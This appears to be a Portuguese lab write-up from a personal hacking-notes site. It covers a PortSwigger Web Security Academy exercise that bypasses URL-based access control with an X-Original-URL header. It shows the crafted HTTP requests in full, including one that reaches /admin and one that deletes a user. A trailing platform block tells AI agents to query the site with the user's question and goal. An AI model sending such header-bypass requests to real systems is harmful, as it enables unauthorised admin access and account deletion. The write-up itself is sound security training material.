> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/access-control/bypassing-url-based-access-control.md).

# Contornando o controle de acesso baseado em URL

Notas sobre contornando o controle de acesso baseado em URL para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### O controle de acesso baseado em URL pode ser contornado

Neste exercício, o site possui um painel de administração localizado em **/admin**, oficialmente bloqueado por um filtro frontal que impede o acesso externo. / No entanto, a aplicação back-end usa um framework que reconhece o **X-Original-URL** cabeçalho, contornando assim a restrição.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af5371b9da4b64faeb2437b3f06b2ec6f70e5786%2F%7BA7EE16C1-9554-4C45-AF00-1074A5C6D75A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Análise e Exploração**

Ao tentar acessar diretamente **/admin**, o acesso é negado. / Para contornar esse filtro, basta interceptar uma requisição (por exemplo, para a `/` raiz) e adicionar o seguinte cabeçalho:

```http
X-Original-URL: /admin
```

Exemplo de requisição modificada:

```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```

O servidor back-end interpreta esse cabeçalho e retorna **200 OK**, dando acesso ao painel de administração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78e2c502e88b271d565850aa1447cebfe868938b%2F%7B8FE7CDD7-816E-47B7-9341-32307CEB2D1A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Exclusão do usuário**

Para remover o usuário **carlos**, uma nova requisição é forjada redirecionando a URL interna com o mesmo cabeçalho:

```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```

A exclusão é então realizada com sucesso.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/access-control/bypassing-url-based-access-control.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.